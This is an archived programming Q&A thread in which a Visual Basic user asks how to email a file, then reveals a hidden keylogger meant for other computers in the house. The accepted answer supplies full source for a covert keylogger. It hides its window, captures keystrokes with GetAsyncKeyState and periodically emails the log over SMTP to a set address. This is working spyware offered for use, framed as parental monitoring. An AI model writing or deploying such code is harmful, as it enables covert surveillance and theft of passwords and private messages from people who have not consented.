Solved

email with attatchment

Posted on 2004-04-24
13
279 Views
Last Modified: 2010-05-02
Hi, im a noob.

I know a bit of Visual Basic, but not too much. My knowledge certainly pales in comparison with you guys. Thus, I have come to seek your help.

I am trying to send an email with an attachment via visual basic, there doesn't need to be any text or anything. How do i go about doing this?
Sorry for the large scope of the question, or if i sound like a right idiot...
0
Comment
Question by:Redhotdragon
  • 4
  • 3
  • 3
  • +2
13 Comments
 
LVL 7

Expert Comment

by:OHDev2004
ID: 10909833
0
 
LVL 7

Expert Comment

by:OHDev2004
ID: 10909845
dont say that man ,, we all learn here,,  no matter the sum of knowledge someone has,, the more important is that you persist on learning and knowing more and more
0
 

Expert Comment

by:EmranHasan
ID: 10909975
Hi There,

I have my own code for sending mail with attachment. Its too large to be posted here. Let me know if you're interested.

Thanks

Md Emran Hasan
0
 
LVL 11

Expert Comment

by:bingie
ID: 10910071
0
 
LVL 18

Expert Comment

by:Sethi
ID: 10910078
One of the favorites. This is a free activex to send emails through VB:
http://www.freevbcode.com/ShowCode.Asp?ID=109
0
 
LVL 18

Expert Comment

by:Sethi
ID: 10910084
bingie types lesser words and won the race :-)
0
How to run any project with ease

Manage projects of all sizes how you want. Great for personal to-do lists, project milestones, team priorities and launch plans.
- Combine task lists, docs, spreadsheets, and chat in one
- View and edit from mobile/offline
- Cut down on emails

 
LVL 11

Expert Comment

by:bingie
ID: 10910087
:-)..thats one of the most common paste-ins..
0
 
LVL 18

Expert Comment

by:Sethi
ID: 10910091
:-) I agree and one of the best activex I have used
0
 

Author Comment

by:Redhotdragon
ID: 10912099
Thanks guys.
I like the activex :) could someone explain every thing in there? Or is that too much to ask...I just don't like adding code unless i know just what it is im adding...
Md Emran, if you could email me the code with explanations...I'd be very greatful.
Thanks all
~rhd
0
 
LVL 11

Expert Comment

by:bingie
ID: 10912115
There is a full documentation included in the package in MS Word format....It explains everything.

Bingie
0
 

Author Comment

by:Redhotdragon
ID: 10912131
Here's what im acutally trying to do..
I wrote this code:

Dim result, FileNumber As Integer
Dim log As String


Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer



Private Sub Timer1_Timer()

Form1.Visible = False

FileNumber = FreeFile



For i = 32 To 128

result = 0
result = GetAsyncKeyState(i)

    If result = -32767 Then
        Text1.Text = Text1.Text + Chr(i)
        log = Text1.Text
        Open "C:\Windows\logfilekey.txt" For Append Access Write As #FileNumber
        Write #FileNumber, log
        Close #FileNumber
    End If
   
Next i

End Sub

It is supposed to log all the keys i type, so that i can recover them if i accidently close an application without saving all my work. First of all, is this code efficient?
I would also like to put this code on other computers in the house so as to monitor what my children type and so i would like it to send me an email of the log file. How would i go about doing this?

Thanks..I've put all the points i have in...and i don't have that many!

Rhd
0
 
LVL 7

Expert Comment

by:OHDev2004
ID: 10912396
they way you try to record keystrokes with looks like the following when you open the logfile:

"H"
"HI"
"HI "
"HI M"
"HI MA"
"HI MAN"
"HI MAN "
"HI MAN H"
"HI MAN HO"
"HI MAN HOW"
"HI MAN HOW "
"HI MAN HOW A"
"HI MAN HOW AR"
"HI MAN HOW ARE"
"HI MAN HOW ARE "
"HI MAN HOW ARE Y"
"HI MAN HOW ARE YO"
"HI MAN HOW ARE YOU"
"HI MAN HOW ARE YOU "
"HI MAN HOW ARE YOU T"
"HI MAN HOW ARE YOU TO"
"HI MAN HOW ARE YOU TOD"
"HI MAN HOW ARE YOU TODA"
"HI MAN HOW ARE YOU TODAY"
"HI MAN HOW ARE YOU TODAY "
"HI MAN HOW ARE YOU TODAY  "
"HI MAN HOW ARE YOU TODAY  D"
"HI MAN HOW ARE YOU TODAY  DI"
"HI MAN HOW ARE YOU TODAY  DID"
"HI MAN HOW ARE YOU TODAY  DIDN"
"HI MAN HOW ARE YOU TODAY  DIDNT"

you are repeating all the input every time ,, if you want only to record all the keystrokes
which is in this case the last line every time you'll better do this
===================================================

Dim logx As String

Private Sub Form_Load()
Form1.Visible = False
End Sub


Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.txt" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub
================================================

Wanna hear you comment on this
0
 
LVL 7

Accepted Solution

by:
OHDev2004 earned 295 total points
ID: 10912572
look here is a program i made to record keystrokes then send it to your email

==========================================================

'By OHDev
'In a Module
'You will need a timer and a Winsock Control
Public Declare Function KillTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long) As Long
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Public Declare Function SetTimer Lib "user32" (ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public logx As String ' the string which holds the keystrokes
Public TimeStart As String 'record the time the log started in
Public Const MyEmail  as string = "YourEmail@emailserver.com"
Public Const TimePerioud As Long = 1 * 1000 * 60  ' Every 30 minutes send mail

Sub SendMail()
Dim MailServer As String
MailServer = "mta208.mail.scd.yahoo.com" ' here you provide the email server which is used to send mail

If Form1.Winsock1.State <> sckClosed Then Form1.Winsock1.Close
Form1.Winsock1.RemoteHost = MailServer
Form1.Winsock1.RemotePort = 25
Form1.Winsock1.Connect 'connect to the server
'when connected the winsock1_connected function is called
End Sub


'===================================================
'In the Form1 ,, add a timer1 and a Winsock1 Control

Private Sub Form_Load()
Form1.Visible = False
SetTimer Me.hWnd, 0, TimePerioud, AddressOf SendMail 'to set a long timer for sending the email every timeperioud
TimeStart = Time ' to log the start time
End Sub

Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hWnd, 0
End Sub

Private Sub Timer1_Timer()
FileNumber = FreeFile
For i = 32 To 128
result = 0
result = GetAsyncKeyState(i)
 If result = -32767 Then
   
     logx = logx & Chr(i)
     Open "C:\Windows\logfilekey.SndData" For Output As #FileNumber
     Write #FileNumber, logx
     Close #FileNumber
 End If
Next i
End Sub


Private Sub Winsock1_Connect()
Dim SndData As String
SndData = SndData & "HELO aaa" & Cr & "MAIL FROM: <HOME >" & Cr & "RCPT TO: <" & Email & ">" & Cr
SndData = SndData & "DATA" & Cr & "From: My-Home <Children@Home>" & Cr
SndData = SndData & "Subject: " & "Keystroke Log between" & TimeStart & " and " & Time & Cr
SndData = SndData & logx & Cr
SndData = SndData & Cr & Cr & "." & Cr & Cr & "quit"
Winsock1.SendData SndData 'send the email

TimeStart = Time ' start a new perioud
logx = "" ' reset old log
End Sub

=====================================================

Hope this works
0

Featured Post

How your wiki can always stay up-to-date

Quip doubles as a “living” wiki and a project management tool that evolves with your organization. As you finish projects in Quip, the work remains, easily accessible to all team members, new and old.
- Increase transparency
- Onboard new hires faster
- Access from mobile/offline

Join & Write a Comment

Introduction I needed to skip over some file processing within a For...Next loop in some old production code and wished that VB (classic) had a statement that would drop down to the end of the current iteration, bypassing the statements that were c…
Introduction In a recent article (http://www.experts-exchange.com/A_7811-A-Better-Concatenate-Function.html) for the Excel community, I showed an improved version of the Excel Concatenate() function.  While writing that article I realized that no o…
As developers, we are not limited to the functions provided by the VBA language. In addition, we can call the functions that are part of the Windows operating system. These functions are part of the Windows API (Application Programming Interface). U…
Get people started with the process of using Access VBA to control Excel using automation, Microsoft Access can control other applications. An example is the ability to programmatically talk to Excel. Using automation, an Access application can laun…

744 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

15 Experts available now in Live!

Get 1:1 Help Now